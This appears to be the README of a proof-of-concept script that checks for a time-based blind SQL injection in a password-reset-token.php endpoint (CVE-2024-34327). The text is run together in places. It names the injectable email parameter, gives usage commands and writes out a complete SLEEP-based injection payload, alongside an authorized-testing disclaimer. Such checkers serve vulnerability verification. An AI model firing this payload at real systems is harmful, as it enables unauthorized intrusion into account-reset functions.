
Proof-of-concept checker for time-based blind SQL injection in password-reset-token.php; sends crafted POST requests and detects delayed responses for CVE-2024-34327.
This script (V-24-02-001_SQLi_Check.py) is a proof-of-concept (PoC) tool to verify the presence of a time-based blind SQL injection vulnerability affecting the password-reset-token.php endpoint, identified as CVE-2024-34327.
This tool is intended for educational and authorized testing purposes only. Unauthorized scanning or exploitation of systems without consent is illegal and unethical.
/auth/password-reset-token.phpemail parameter in POST dataSLEEP() function to measure delay in server responsePHPSESSID cookie value for each runrequests library (pip install requests)python3 V-24-02-001_SQLi_Check.py --url https://target-domain.com
python3 V-24-02-001_SQLi_Check.py --url https://vulnerable-site.com
[+] VULNERABLE if the server response delay exceeds 9 seconds[-] NOT VULNERABLE otherwisedata[email][email protected]'+AND+(SELECT+8161+FROM+(SELECT(SLEEP(10)))uvHC)+AND+'abcd'='abcd
requests libraryUser-Agent and RefererYou are responsible for using this tool ethically. The author assumes no liability for any misuse.
Security Researcher – [Your Name or Alias]
Feel free to contribute or report issues.